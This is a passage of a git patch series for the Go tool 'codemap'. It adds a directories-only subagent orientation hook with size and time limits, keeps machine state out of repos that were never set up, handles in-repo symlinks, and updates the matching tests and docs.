@@ type treeMarks struct { hubDirs map[string]int untracked map[string]bool lines map[string]int + dirsOnly bool } func newTreeMarks(project scanner.Project) *treeMarks { - m := &treeMarks{compact: project.DiffRef == "", hubFiles: map[string]int{}, hubDirs: map[string]int{}, untracked: project.UntrackedDirs, lines: project.LineCounts} + m := &treeMarks{compact: project.DiffRef == "", hubFiles: map[string]int{}, hubDirs: map[string]int{}, untracked: project.UntrackedDirs, lines: project.LineCounts, dirsOnly: project.DirsOnly} for _, h := range project.Hubs { if h.IsPackage() { m.hubDirs[strings.TrimSuffix(h.Path, "/")] = h.Importers @@ -108,6 +109,9 @@ func printTreeNode(w io.Writer, node *treeNode, prefix string, isLast bool, mark } sort.Slice(dirs, func(i, j int) bool { return dirs[i].name < dirs[j].name }) sort.Slice(fileNodes, func(i, j int) bool { return fileNodes[i].name < fileNodes[j].name }) + if marks.dirsOnly { + fileNodes = nil + } for i, dir := range dirs { isLastDir := i == len(dirs)-1 && len(fileNodes) == 0 @@ -173,6 +177,9 @@ func printTreeNode(w io.Writer, node *treeNode, prefix string, isLast bool, mark prefix, connector, BoldBlue, star, mergedName, Reset, count, Dim, strings.Join(statsParts, ", "), Reset) if maxDepth > 0 && currentDepth >= maxDepth { + if marks.dirsOnly { + continue + } // One-line single-file dirs cost no depth, so .claude/skills/ and a // deeper plugins/codemap/skills/ render the same shape. allChains := marks.compact && len(current.children) > 0 diff --git a/scanner/types.go b/scanner/types.go index 49093ffc..c3d7d728 100644 --- a/scanner/types.go +++ b/scanner/types.go @@ -47,6 +47,9 @@ type Project struct { // hub list under the tree (0 = the default of 10). LineCounts map[string]int `json:"-"` HubListMax int `json:"-"` + // DirsOnly drops the header panel and every file listing, leaving the + // directory lines and the hub trailer (the subagent orientation). + DirsOnly bool `json:"-"` } // ScanBound records a walk that stopped keeping files at Limit. diff --git a/skills/builtin/codemap.md b/skills/builtin/codemap.md index 5b3876dc..2f1195c4 100644 --- a/skills/builtin/codemap.md +++ b/skills/builtin/codemap.md @@ -109,6 +109,9 @@ Skills matched: hub-safety, refactor - run `codemap skill show ` for guida - **Intent categories**: refactor, bugfix, feature, explore, test, docs - **Risk levels**: low (no hubs), medium (1 hub), high (2+ hubs or 8+ importers) - **Skills are pull-based**: only names are shown, run `codemap skill show` for full body +- **Suggestions** print only for a named file with dependency evidence; otherwise the marker has `"suggestions":[]` + +The edit hooks print hub facts only (hub warning, dependents, `Imported by N`, `Imports N hub(s)`) and stay silent for files outside the project. A subagent gets the top-level directories and the hub list at start, since it never sees the session-start tree. ## Builtin Skills diff --git a/subagent_start_test.go b/subagent_start_test.go new file mode 100644 index 00000000..7f1aa041 --- /dev/null +++ b/subagent_start_test.go @@ -0,0 +1,70 @@ +package main + +import ( + "encoding/json" + "os" + "path/filepath" + "strings" + "testing" +) + +func TestHookSubagentStartOrientsWithinCap(t *testing.T) { + root := t.TempDir() + files := map[string]string{ + "go.mod": "module example.com/demo\n\ngo 1.22\n", + "pkg/types.go": "package pkg\n\nconst X = 1\n", + } + for _, name := range []string{"a", "b", "c"} { + files["cmd/"+name+"/main.go"] = "package main\n\nimport \"example.com/demo/pkg\"\n\nvar _ = pkg.X\n" + } + for rel, content := range files { + path := filepath.Join(root, filepath.FromSlash(rel)) + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte(content), 0o644); err != nil { + t.Fatal(err) + } + } + runGitMainTestCmd(t, root, "init", "-q") + + payload, _ := json.Marshal(map[string]string{"cwd": root, "agent_type": "scout", "hook_event_name": "SubagentStart"}) + out, stderr, err := runCodemapWithInput(string(payload), "hook", "subagent-start", t.TempDir()) + if err != nil { + t.Fatalf("subagent-start failed: %v\n%s", err, stderr) + } + var envelope struct { + HookSpecificOutput struct { + HookEventName string `json:"hookEventName"` + AdditionalContext string `json:"additionalContext"` + } `json:"hookSpecificOutput"` + } + if err := json.Unmarshal([]byte(out), &envelope); err != nil { + t.Fatalf("stdout is not one JSON envelope: %v\n%s", err, out) + } + got := envelope.HookSpecificOutput + if got.HookEventName != "SubagentStart" { + t.Fatalf("hookEventName = %q", got.HookEventName) + } + ctx := got.AdditionalContext + if ctx == "" || len(ctx) > 2500 { + t.Fatalf("additionalContext length %d, want 1..2500:\n%s", len(ctx), ctx) + } + for _, want := range []string{"Hubs (", "pkg/types.go", "cmd/"} { + if !strings.Contains(ctx, want) { + t.Fatalf("additionalContext missing %q:\n%s", want, ctx) + } + } + // Directories only: no file names, no header panel. + for _, gone := range []string{"main.go", "โ•ญ"} { + if strings.Contains(ctx, gone) { + t.Fatalf("additionalContext should not contain %q:\n%s", gone, ctx) + } + } + + outside, _ := json.Marshal(map[string]string{"cwd": t.TempDir()}) + out, stderr, err = runCodemapWithInput(string(outside), "hook", "subagent-start") + if err != nil || out != "" { + t.Fatalf("outside a repo: err=%v stdout=%q stderr=%q, want silent exit 0", err, out, stderr) + } +} From 4e377937a2459adf5566661507e3ac583aa585f5 Mon Sep 17 00:00:00 2001 From: Jordan Coin Jackson Date: Sat, 14 Nov 2026 22:08:39 -0500 Subject: [PATCH 02/15] docs: CLAUDE.md no longer points at the removed hook nudges Co-Authored-By: Claude Fable 5.2 Claude-Session: https://claude.ai/code/session_01FWQw8DzwM4bQnL7mvk6Fsq --- CLAUDE.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CLAUDE.md b/CLAUDE.md index 7134d9b6..e14e329e 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -30,7 +30,7 @@ Treat codemap as part of the execution loop, not as optional reference material: - Before editing any file: `codemap --importers ` - Before refactors, moves, or dependency-heavy changes: `codemap --deps` - Before summarizing, reviewing, or committing: `codemap --diff` -- If a codemap hook prints `Next codemap:` or `Run now:`, do that before continuing +- If a codemap hook warns that a file is a hub, read its dependents list before editing Use `rg` for exact string lookup after codemap has established structure or blast radius. From a871eb57c0bd059ae3dda9b2af9a31f9c3c48564 Mon Sep 17 00:00:00 2001 From: Jordan Coin Jackson Date: Sat, 14 Nov 2026 22:17:51 -0500 Subject: [PATCH 03/15] fix(hooks): subagent-start keeps hubs, times out, writes nothing - Fit the trailer (legend, hubs, Next) first and cut directory lines to the remaining budget, ending them with "... N more directories". A repo with 61 top-level directories lost the hub list and Next line before. - The tree subprocess runs under exec.CommandContext; subagent-start gives it 3s and prints nothing when it runs out, so a timeout no longer leaves the child running. - The dirs render skips EnsureProjectConfig, so the hook no longer creates .codemap/config.json in repos that never ran setup. Session-start and prompt-submit still auto-write config by design (#184). - projectRelPath canonicalises only the parent directory and accepts a path spelled under root or its canonical form, so in-repo symlinks to files or directories outside the repo count as inside. - The dirs level prints a single-file directory as a directory, not dir/FILE. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01FWQw8DzwM4bQnL7mvk6Fsq --- cmd/hooks.go | 63 +++++++++++++++++++++++++------ cmd/hooks_more_test.go | 34 +++++++++++++++++ main.go | 3 +- render/tree_compact.go | 2 +- subagent_start_test.go | 86 ++++++++++++++++++++++++++++++++++-------- 5 files changed, 158 insertions(+), 30 deletions(-) diff --git a/cmd/hooks.go b/cmd/hooks.go index 12011831..f8500371 100644 --- a/cmd/hooks.go +++ b/cmd/hooks.go @@ -517,7 +517,7 @@ func hookSessionStart(root string) error { if exeErr != nil { return "" } - out, _ := renderTreeSubprocess(exe, root, projCfg, depth, lean, os.Stderr) + out, _ := renderTreeSubprocess(context.Background(), exe, root, projCfg, depth, lean, os.Stderr) rendered[key] = out + "\n" return rendered[key] } @@ -541,7 +541,7 @@ func hookSessionStart(root string) error { // renderTreeSubprocess renders `codemap --depth N` for root in a child // process with the project's filters and the given lean level. -func renderTreeSubprocess(exe, root string, projCfg config.ProjectConfig, depth int, lean string, stderr io.Writer) (string, error) { +func renderTreeSubprocess(ctx context.Context, exe, root string, projCfg config.ProjectConfig, depth int, lean string, stderr io.Writer) (string, error) { args := projectpath.PrependSetupRootArgs("--depth", strconv.Itoa(depth)) if len(projCfg.Only) > 0 { args = append(args, "--only", strings.Join(projCfg.Only, ",")) @@ -550,7 +550,7 @@ func renderTreeSubprocess(exe, root string, projCfg config.ProjectConfig, depth args = append(args, "--exclude", strings.Join(projCfg.Exclude, ",")) } args = append(args, root) - cmd := exec.Command(exe, args...) + cmd := exec.CommandContext(ctx, exe, args...) if lean != "" { cmd.Env = append(os.Environ(), TreeLeanEnv+"="+lean) } @@ -564,6 +564,11 @@ func renderTreeSubprocess(exe, root string, projCfg config.ProjectConfig, depth // subagentStartCap bounds the subagent orientation block. const subagentStartCap = 2500 +// subagentStartTimeout kills the tree render; a slow repo gets no block +// rather than a stalled subagent. +// ponytail: renders on every spawn (4s on a 10k-file repo); cache the block per HEAD if large repos need it. +const subagentStartTimeout = 3 * time.Second + // hookSubagentStart orients a subagent, which never gets SessionStart: the // top-level directories with hub marks, then the hub list. The payload's cwd // wins over the process cwd because a worktree-isolated subagent runs elsewhere. @@ -587,15 +592,41 @@ func hookSubagentStart(root string) error { if err != nil { return err } - tree, err := renderTreeSubprocess(exe, root, config.Load(root), 1, TreeLeanDirsOnly, io.Discard) + ctx, cancel := context.WithTimeout(context.Background(), subagentStartTimeout) + defer cancel() + tree, err := renderTreeSubprocess(ctx, exe, root, config.Load(root), 1, TreeLeanDirsOnly, io.Discard) if err != nil { return err } - out := "๐Ÿ“ codemap orientation: top-level directories (โญ๏ธ marks hubs), then the hub list. Run `codemap .` for the full tree.\n" + tree - fmt.Print(cutAtLine(out, subagentStartCap, "")) + header := "๐Ÿ“ codemap orientation: top-level directories (โญ๏ธ marks hubs), then the hub list. Run `codemap .` for the full tree.\n" + fmt.Print(fitSubagentStart(header, tree, subagentStartCap)) return nil } +// fitSubagentStart keeps the tree's trailer (legend, hubs, Next) whole and +// cuts the directory lines to fit, ending them with a count of what was cut. +func fitSubagentStart(header, tree string, maxBytes int) string { + split := len(tree) + for _, marker := range []string{treeHubLegend, treeNoHubLegend} { + if i := strings.Index(tree, marker); i >= 0 && i < split { + split = strings.LastIndex(tree[:i], "\n") + 1 + } + } + dirs, trailer := tree[:split], cutAtLine(tree[split:], maxBytes/2, "") + budget := maxBytes - len(header) - len(trailer) + if len(dirs) <= budget { + return header + dirs + trailer + } + lines := strings.SplitAfter(strings.TrimSuffix(dirs, "\n"), "\n") + marker := func(n int) string { return fmt.Sprintf("... %d more directories\n", n) } + kept, used := 0, 0 + for kept < len(lines) && used+len(lines[kept])+len(marker(len(lines))) <= budget { + used += len(lines[kept]) + kept++ + } + return header + strings.Join(lines[:kept], "") + marker(len(lines)-kept) + trailer +} + // TreeLeanEnv tells a tree render to shed extras: "1" cuts the hub list to // three, "2" also drops line counts. TreeLeanDirsOnly keeps only directory // lines and the full hub list, with no line counts. @@ -2267,17 +2298,25 @@ func appendUniquePath(paths []string, path string) []string { } // projectRelPath returns a hook-supplied path relative to root, or false when -// it resolves outside root. Relative paths are taken as root-relative; both -// sides are canonicalised so a symlinked root still matches. +// it is outside root. Relative paths are taken as root-relative. The path +// counts as inside when it is spelled under root or under root's canonical +// form (/tmp vs /private/tmp); only its parent directory is canonicalised, +// so an in-repo symlink pointing outside the repo still counts as inside. func projectRelPath(root, path string) (string, bool) { if !filepath.IsAbs(path) { path = filepath.Join(root, path) } - rel, err := filepath.Rel(projectpath.CanonicalPath(root), projectpath.CanonicalPath(path)) - if err != nil || rel == ".." || strings.HasPrefix(rel, ".."+string(filepath.Separator)) { - return "", false + path = filepath.Clean(path) + paths := []string{path, filepath.Join(projectpath.CanonicalPath(filepath.Dir(path)), filepath.Base(path))} + for _, r := range []string{root, projectpath.CanonicalPath(root)} { + for _, p := range paths { + rel, err := filepath.Rel(r, p) + if err == nil && rel != ".." && !strings.HasPrefix(rel, ".."+string(filepath.Separator)) { + return rel, true + } + } } - return rel, true + return "", false } // checkFileImporters checks if a file is a hub and shows its importers diff --git a/cmd/hooks_more_test.go b/cmd/hooks_more_test.go index f9dbae72..dee31661 100644 --- a/cmd/hooks_more_test.go +++ b/cmd/hooks_more_test.go @@ -434,6 +434,40 @@ func TestEditHooksIgnoreFilesOutsideRoot(t *testing.T) { } } +func TestProjectRelPathKeepsInRepoSymlinks(t *testing.T) { + root, elsewhere := t.TempDir(), t.TempDir() + if err := os.WriteFile(filepath.Join(elsewhere, "real.go"), []byte("package x\n"), 0o644); err != nil { + t.Fatal(err) + } + if err := os.Mkdir(filepath.Join(root, "lib"), 0o755); err != nil { + t.Fatal(err) + } + if err := os.Symlink(filepath.Join(elsewhere, "real.go"), filepath.Join(root, "lib", "linked.go")); err != nil { + t.Skipf("symlinks unavailable: %v", err) + } + if err := os.Symlink(elsewhere, filepath.Join(root, "vendored")); err != nil { + t.Fatal(err) + } + for path, want := range map[string]string{ + filepath.Join(root, "lib", "linked.go"): filepath.Join("lib", "linked.go"), + filepath.Join(root, "vendored", "a.go"): filepath.Join("vendored", "a.go"), + projectpath.CanonicalPath(filepath.Join(root, "lib", "new.go")): filepath.Join("lib", "new.go"), + } { + if got, ok := projectRelPath(root, path); !ok || got != want { + t.Fatalf("projectRelPath(%s) = %q, %v; want %q, true", path, got, ok, want) + } + } + if _, ok := projectRelPath(root, filepath.Join(elsewhere, "real.go")); ok { + t.Fatal("a file outside the repo counted as inside") + } + if err := recordAgentEdit(root, "s", filepath.Join(root, "lib", "linked.go"), time.Now()); err != nil { + t.Fatal(err) + } + if _, err := os.Stat(agentEditsPath(root)); err != nil { + t.Fatalf("in-repo symlink edit was not recorded: %v", err) + } +} + // assertNoEditNudge checks the edit hooks no longer print command lists that // agents ignored (0.9% follow-through), while the hub facts stay. func assertNoEditNudge(t *testing.T, out string) { diff --git a/main.go b/main.go index 4580b706..4956a02d 100644 --- a/main.go +++ b/main.go @@ -465,7 +465,8 @@ func main() { // adds to the config's exclude list (issue #150), since a config exclude // is a standing decision about the repo and one run narrowing further // must not silently re-admit it. - if tempDir == "" { + // The subagent orientation runs in repos that never ran setup; it must not write config. + if tempDir == "" && os.Getenv(cmd.TreeLeanEnv) != cmd.TreeLeanDirsOnly { cmd.EnsureProjectConfig(absRoot) } projCfg := config.Load(absRoot) diff --git a/render/tree_compact.go b/render/tree_compact.go index b46180c1..18cd54b3 100644 --- a/render/tree_compact.go +++ b/render/tree_compact.go @@ -140,7 +140,7 @@ func printTreeNode(w io.Writer, node *treeNode, prefix string, isLast bool, mark prefix, connector, BoldBlue, mergedName, Reset, Dim, countAndSize(fileCount, totalSize), Reset) continue } - if marks.compact && len(current.children) == 1 { + if marks.compact && !marks.dirsOnly && len(current.children) == 1 { f := onlyChild(current) star, count := hubMark(marks.hubFiles[f.path]) fmt.Fprintf(w, "%s%s%s %s%s/%s%s%s%s%s %s(%s)%s\n", diff --git a/subagent_start_test.go b/subagent_start_test.go index 7f1aa041..a6679b4c 100644 --- a/subagent_start_test.go +++ b/subagent_start_test.go @@ -2,21 +2,17 @@ package main import ( "encoding/json" + "fmt" + "io/fs" "os" "path/filepath" "strings" "testing" ) -func TestHookSubagentStartOrientsWithinCap(t *testing.T) { +func writeSubagentFixture(t *testing.T, files map[string]string) string { + t.Helper() root := t.TempDir() - files := map[string]string{ - "go.mod": "module example.com/demo\n\ngo 1.22\n", - "pkg/types.go": "package pkg\n\nconst X = 1\n", - } - for _, name := range []string{"a", "b", "c"} { - files["cmd/"+name+"/main.go"] = "package main\n\nimport \"example.com/demo/pkg\"\n\nvar _ = pkg.X\n" - } for rel, content := range files { path := filepath.Join(root, filepath.FromSlash(rel)) if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { @@ -27,7 +23,12 @@ func TestHookSubagentStartOrientsWithinCap(t *testing.T) { } } runGitMainTestCmd(t, root, "init", "-q") + return root +} +// runSubagentStart runs the hook for root and returns its additionalContext. +func runSubagentStart(t *testing.T, root string) string { + t.Helper() payload, _ := json.Marshal(map[string]string{"cwd": root, "agent_type": "scout", "hook_event_name": "SubagentStart"}) out, stderr, err := runCodemapWithInput(string(payload), "hook", "subagent-start", t.TempDir()) if err != nil { @@ -42,29 +43,82 @@ func TestHookSubagentStartOrientsWithinCap(t *testing.T) { if err := json.Unmarshal([]byte(out), &envelope); err != nil { t.Fatalf("stdout is not one JSON envelope: %v\n%s", err, out) } - got := envelope.HookSpecificOutput - if got.HookEventName != "SubagentStart" { - t.Fatalf("hookEventName = %q", got.HookEventName) + if got := envelope.HookSpecificOutput.HookEventName; got != "SubagentStart" { + t.Fatalf("hookEventName = %q", got) } - ctx := got.AdditionalContext + ctx := envelope.HookSpecificOutput.AdditionalContext if ctx == "" || len(ctx) > 2500 { t.Fatalf("additionalContext length %d, want 1..2500:\n%s", len(ctx), ctx) } - for _, want := range []string{"Hubs (", "pkg/types.go", "cmd/"} { + return ctx +} + +func repoFiles(t *testing.T, root string) []string { + t.Helper() + var files []string + err := filepath.WalkDir(root, func(path string, d fs.DirEntry, err error) error { + if err != nil { + return err + } + if d.IsDir() && d.Name() == ".git" { + return filepath.SkipDir + } + files = append(files, path) + return nil + }) + if err != nil { + t.Fatal(err) + } + return files +} + +func TestHookSubagentStartOrientsWithinCap(t *testing.T) { + files := map[string]string{ + "go.mod": "module example.com/demo\n\ngo 1.22\n", + "pkg/types.go": "package pkg\n\nconst X = 1\n", + "u1/u.go": "package u1\n", + } + for _, name := range []string{"a", "b", "c"} { + files["cmd/"+name+"/main.go"] = "package main\n\nimport \"example.com/demo/pkg\"\n\nvar _ = pkg.X\n" + } + root := writeSubagentFixture(t, files) + before := repoFiles(t, root) + + ctx := runSubagentStart(t, root) + for _, want := range []string{"Hubs (", "pkg/types.go", "cmd/", "u1/"} { if !strings.Contains(ctx, want) { t.Fatalf("additionalContext missing %q:\n%s", want, ctx) } } - // Directories only: no file names, no header panel. - for _, gone := range []string{"main.go", "โ•ญ"} { + // Directories only: no file names (a single-file dir included), no header panel. + for _, gone := range []string{"main.go", "u.go", "โ•ญ"} { if strings.Contains(ctx, gone) { t.Fatalf("additionalContext should not contain %q:\n%s", gone, ctx) } } + if after := repoFiles(t, root); strings.Join(after, "\n") != strings.Join(before, "\n") { + t.Fatalf("hook wrote into a repo that never ran setup:\nbefore %v\nafter %v", before, after) + } outside, _ := json.Marshal(map[string]string{"cwd": t.TempDir()}) - out, stderr, err = runCodemapWithInput(string(outside), "hook", "subagent-start") + out, stderr, err := runCodemapWithInput(string(outside), "hook", "subagent-start") if err != nil || out != "" { t.Fatalf("outside a repo: err=%v stdout=%q stderr=%q, want silent exit 0", err, out, stderr) } } + +func TestHookSubagentStartKeepsHubsWhenDirectoriesOverflow(t *testing.T) { + files := map[string]string{ + "go.mod": "module example.com/wide\n\ngo 1.22\n", + "lib/lib.go": "package lib\n\nconst X = 1\n", + } + for i := 0; i < 65; i++ { + files[fmt.Sprintf("directory_with_a_long_name_%02d/main.go", i)] = "package main\n\nimport \"example.com/wide/lib\"\n\nvar _ = lib.X\n" + } + ctx := runSubagentStart(t, writeSubagentFixture(t, files)) + for _, want := range []string{"more directories", "Hubs (", "lib/", "Next:"} { + if !strings.Contains(ctx, want) { + t.Fatalf("over-cap block missing %q:\n%s", want, ctx) + } + } +} From 0333805bab7aca5e3152583878a45841a79151b1 Mon Sep 17 00:00:00 2001 From: Jordan Coin Jackson Date: Sat, 14 Nov 2026 22:52:42 -0500 Subject: [PATCH 04/15] fix(state): never write into a repo that was not set up (#184) A repo counts as set up when its policy directory (/.codemap, shared by linked worktrees) exists. Only `codemap setup`, `codemap config init` and `codemap skill init` create it. Until then: - projectpath.SelectRuntime resolves machine state (projects// state and status, events.log, handoff, hubs.txt, sessions, topology cache, agent_edits.jsonl) to $XDG_CACHE_HOME/codemap//, else the OS user cache dir. Hooks and the daemon share this one resolver, so they agree for symlinked roots and worktrees. agent_edits and the topology root wrappers now go through it instead of joining root/.codemap. - EnsureProjectConfig writes nothing; config falls back to config.Load defaults (no auto-detected `only`), and the setup nudge stays quiet. - The daemon no longer creates the config dir to watch it. Set-up repos keep every path they had. In-repo .codemap/ now carries its own .gitignore (machine state ignored, config.json and skills/ committable), written only when missing, by gitexclude.MkdirAll and the init commands. codemap no longer adds .codemap/ to .git/info/exclude; existing rules stay. Setup and doctor list tracked machine-state files (not config.json or skills/) and print `git rm --cached -- `; neither runs it. Also: state paths printed by pre-compact, session-stop and `watch` are the resolved ones; the walker skips .claude/worktrees/ by path; every test package that can write state points XDG_CACHE_HOME at a temp dir. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01FWQw8CwnpBLPW6jJiDE7BT --- .claude/skills/codemap/SKILL.md | 2 +- .claude/skills/config-setup/SKILL.md | 2 +- cmd/agent_edits.go | 16 +- cmd/config.go | 15 +- cmd/config_more_test.go | 31 +- cmd/doctor.go | 41 ++- cmd/gitignore.go | 55 +++- cmd/gitignore_test.go | 316 ++----------------- cmd/hooks.go | 19 +- cmd/hooks_more_test.go | 37 ++- cmd/setup.go | 4 + cmd/setup_review_test.go | 38 ++- cmd/setup_run_test.go | 49 ++- cmd/testmain_test.go | 1 + docs/CONFIG.md | 2 + docs/HOOKS.md | 4 +- docs/INSTALL.md | 7 +- handoff/testmain_test.go | 18 ++ internal/gitexclude/gitexclude.go | 90 ++---- internal/gitexclude/gitexclude_test.go | 105 +++--- internal/projectpath/runtime.go | 25 ++ internal/projectpath/runtime_cache_test.go | 37 +++ internal/projectpath/testmain_test.go | 18 ++ main.go | 5 +- main_helpers_test.go | 4 +- main_test.go | 3 + mcp/main.go | 2 +- mcp/testmain_test.go | 1 + plugins/codemap/skills/codemap/SKILL.md | 2 +- plugins/codemap/skills/config-setup/SKILL.md | 2 +- scanner/walker.go | 24 ++ scanner/walker_test.go | 25 ++ skills/builtin/codemap.md | 2 +- skills/builtin/config-setup.md | 2 +- state_location_test.go | 134 ++++++++ topology/cache.go | 7 +- topology/testmain_test.go | 18 ++ watch/daemon.go | 15 +- watch/testmain_test.go | 1 + 39 files changed, 634 insertions(+), 545 deletions(-) create mode 100644 handoff/testmain_test.go create mode 100644 internal/projectpath/runtime_cache_test.go create mode 100644 internal/projectpath/testmain_test.go create mode 100644 state_location_test.go create mode 100644 topology/testmain_test.go diff --git a/.claude/skills/codemap/SKILL.md b/.claude/skills/codemap/SKILL.md index 4473f461..9beef5f8 100644 --- a/.claude/skills/codemap/SKILL.md +++ b/.claude/skills/codemap/SKILL.md @@ -36,7 +36,7 @@ codemap serve --port 9471 # HTTP API for non-MCP integrations Before deeper Codemap analysis in a repo: -1. Check `.codemap/config.json`. +1. Check `.codemap/config.json`. A repo with no `.codemap/` folder was never set up: leave it that way unless the user asks (codemap keeps its state outside the repo). 2. If it is missing, clearly boilerplate, or obviously too noisy for the stack, run `codemap skill show config-setup` and follow it. 3. After writing or improving config, rerun `codemap .` and `codemap --deps`. diff --git a/.claude/skills/config-setup/SKILL.md b/.claude/skills/config-setup/SKILL.md index 1f2f12af..8747887c 100644 --- a/.claude/skills/config-setup/SKILL.md +++ b/.claude/skills/config-setup/SKILL.md @@ -22,7 +22,7 @@ Write or improve `.codemap/config.json` so future Codemap calls stay focused on ## Use this when -1. `.codemap/config.json` is missing +1. `.codemap/config.json` is missing in a repo the user has set up (`.codemap/` exists), or the user asked to set codemap up. Never create `.codemap/` in a repo the user has not asked to set up. 2. The existing config looks like a bare bootstrap instead of a real project policy 3. Codemap output is dominated by assets, fixtures, generated files, vendor trees, PDFs, screenshots, models, or training data 4. The project stack is obvious, but Codemap is not prioritizing the right parts of the repo diff --git a/cmd/agent_edits.go b/cmd/agent_edits.go index 13cfe82d..b9db8055 100644 --- a/cmd/agent_edits.go +++ b/cmd/agent_edits.go @@ -10,6 +10,7 @@ import ( "time" "codemap/internal/gitexclude" + "codemap/internal/projectpath" ) // The watch daemon sees every write on disk โ€” including git merges, checkouts, @@ -34,8 +35,14 @@ type agentEdits struct { bySession map[string]map[string]bool // session id -> paths } +// agentEditsPath is /.codemap/agent_edits.jsonl in a set-up project, +// else under the user state cache; "" when runtime storage is unsafe. func agentEditsPath(root string) string { - return filepath.Join(root, ".codemap", agentEditsFile) + selection, err := projectpath.SelectRuntime(root) + if err != nil { + return "" + } + return filepath.Join(selection.RuntimeDir, agentEditsFile) } // normalizeAgentEditPath converts hook-provided paths (often absolute, with @@ -59,7 +66,11 @@ func recordAgentEdit(root, sessionID, path string, now time.Time) error { if _, inRoot := projectRelPath(root, path); !inRoot { return nil } - if err := gitexclude.MkdirAll(filepath.Join(root, ".codemap"), 0o755); err != nil { + logPath := agentEditsPath(root) + if logPath == "" { + return nil + } + if err := gitexclude.MkdirAll(filepath.Dir(logPath), 0o755); err != nil { return err } record := agentEditRecord{ @@ -71,7 +82,6 @@ func recordAgentEdit(root, sessionID, path string, now time.Time) error { if err != nil { return err } - logPath := agentEditsPath(root) compactAgentEdits(logPath, now) f, err := os.OpenFile(logPath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o644) if err != nil { diff --git a/cmd/config.go b/cmd/config.go index a80448ad..4c320b7c 100644 --- a/cmd/config.go +++ b/cmd/config.go @@ -86,32 +86,25 @@ func detectNoise(files []scanner.FileInfo) []string { } // EnsureProjectConfig writes an auto-detected .codemap/config.json when none -// exists and root is a git checkout. Every analysis entry point calls this so -// a repo never stays in the "missing" state past its first codemap command. +// exists in a set-up git checkout. It never creates .codemap/ itself: a +// project that never ran setup keeps nothing in the repo (#184). // Write failures (read-only checkout) are silent: the caller still runs. func EnsureProjectConfig(root string) bool { if _, err := os.Stat(config.ConfigPath(root)); err == nil { return false } - if _, err := os.Stat(filepath.Join(root, ".git")); err != nil { + if _, err := os.Stat(filepath.Join(root, ".git")); err != nil || !projectpath.IsSetUp(root) { return false } result, err := initProjectConfig(root) if err != nil { return false } - // The auto-write just created .codemap/ in a checkout that never asked - // for it, so keep it out of `git status` (issue #184): the rule goes to - // the clone-local info/exclude, never a tracked .gitignore, and only - // when no existing rule already ignores the directory. - excludeFile, _ := gitexclude.EnsureIgnoredIfNeeded(filepath.Dir(filepath.Dir(result.Path))) + _, _ = gitexclude.EnsureStateIgnore(filepath.Dir(result.Path)) // Only a person at a terminal needs the notice; piped consumers that // merge stderr into a JSON stream must not see it. if info, err := os.Stderr.Stat(); err == nil && info.Mode()&os.ModeCharDevice != 0 { fmt.Fprintln(os.Stderr, "codemap: wrote .codemap/config.json (auto-detected); tune with: codemap skill show config-setup") - if excludeFile != "" { - fmt.Fprintf(os.Stderr, "codemap: added %s to %s so git status stays clean; verify with: git check-ignore -v .codemap\n", gitexclude.Entry, excludeFile) - } } return true } diff --git a/cmd/config_more_test.go b/cmd/config_more_test.go index 1dfa74b9..61c0bdcc 100644 --- a/cmd/config_more_test.go +++ b/cmd/config_more_test.go @@ -209,8 +209,17 @@ func TestEnsureProjectConfigWritesOnlyInsideRepos(t *testing.T) { t.Fatal(err) } mustWriteConfigFixture(t, filepath.Join(repo, "main.go"), "package main\n") + if EnsureProjectConfig(repo) { + t.Fatal("must not write config in a repo that never ran setup") + } + if _, err := os.Stat(filepath.Join(repo, ".codemap")); !os.IsNotExist(err) { + t.Fatalf(".codemap created in a repo that never ran setup: %v", err) + } + if err := os.Mkdir(filepath.Join(repo, ".codemap"), 0o755); err != nil { + t.Fatal(err) + } if !EnsureProjectConfig(repo) { - t.Fatal("expected config to be written in a repo") + t.Fatal("expected config to be written in a set-up repo") } if _, err := os.Stat(config.ConfigPath(repo)); err != nil { t.Fatalf("config not written: %v", err) @@ -229,11 +238,10 @@ func TestEnsureProjectConfigWritesOnlyInsideRepos(t *testing.T) { } } -// TestEnsureProjectConfigKeepsFreshCloneClean is the exit test from issue -// #184: a fresh clone of a repo with no codemap config, one codemap command, -// and `git status --porcelain` is empty. The auto-written config lands in -// .codemap/, which the auto-init must ignore via the clone-local -// info/exclude, never by creating or editing a tracked .gitignore. +// TestEnsureProjectConfigKeepsFreshCloneClean: in a clone whose .codemap/ +// exists but holds no config, the auto-write leaves only committable files +// (.codemap/.gitignore, config.json) visible to git and never touches the +// root .gitignore. func TestEnsureProjectConfigKeepsFreshCloneClean(t *testing.T) { if _, err := exec.LookPath("git"); err != nil { t.Skip("git not available") @@ -241,6 +249,9 @@ func TestEnsureProjectConfigKeepsFreshCloneClean(t *testing.T) { src := makeRepoOnBranch(t, "main") clone := filepath.Join(t.TempDir(), "clone") runGitTestCmd(t, src, "clone", "-q", src, clone) + if err := os.Mkdir(filepath.Join(clone, ".codemap"), 0o755); err != nil { + t.Fatal(err) + } if !EnsureProjectConfig(clone) { t.Fatal("expected config to be written in a fresh clone") @@ -248,19 +259,19 @@ func TestEnsureProjectConfigKeepsFreshCloneClean(t *testing.T) { if _, err := os.Stat(config.ConfigPath(clone)); err != nil { t.Fatalf("config not written: %v", err) } - status := exec.Command("git", "status", "--porcelain") + status := exec.Command("git", "status", "--porcelain", "--untracked-files=all") status.Dir = clone out, err := status.Output() if err != nil { t.Fatal(err) } - if strings.TrimSpace(string(out)) != "" { - t.Fatalf("git status --porcelain not empty after auto-init:\n%s", out) + if got, want := strings.TrimSpace(string(out)), "?? .codemap/.gitignore\n?? .codemap/config.json"; got != want { + t.Fatalf("git status after auto-init = %q, want %q", got, want) } if _, err := os.Stat(filepath.Join(clone, ".gitignore")); !os.IsNotExist(err) { t.Fatal("auto-init must not create a tracked .gitignore") } - if !gitIgnoresCodemap(t, clone) { + if !gitIgnoresState(t, clone) { t.Fatal("git does not ignore .codemap after auto-init") } } diff --git a/cmd/doctor.go b/cmd/doctor.go index ebb1fece..9a28195d 100644 --- a/cmd/doctor.go +++ b/cmd/doctor.go @@ -17,6 +17,7 @@ import ( "codemap/config" "codemap/internal/buildinfo" "codemap/internal/gitexclude" + "codemap/internal/projectpath" 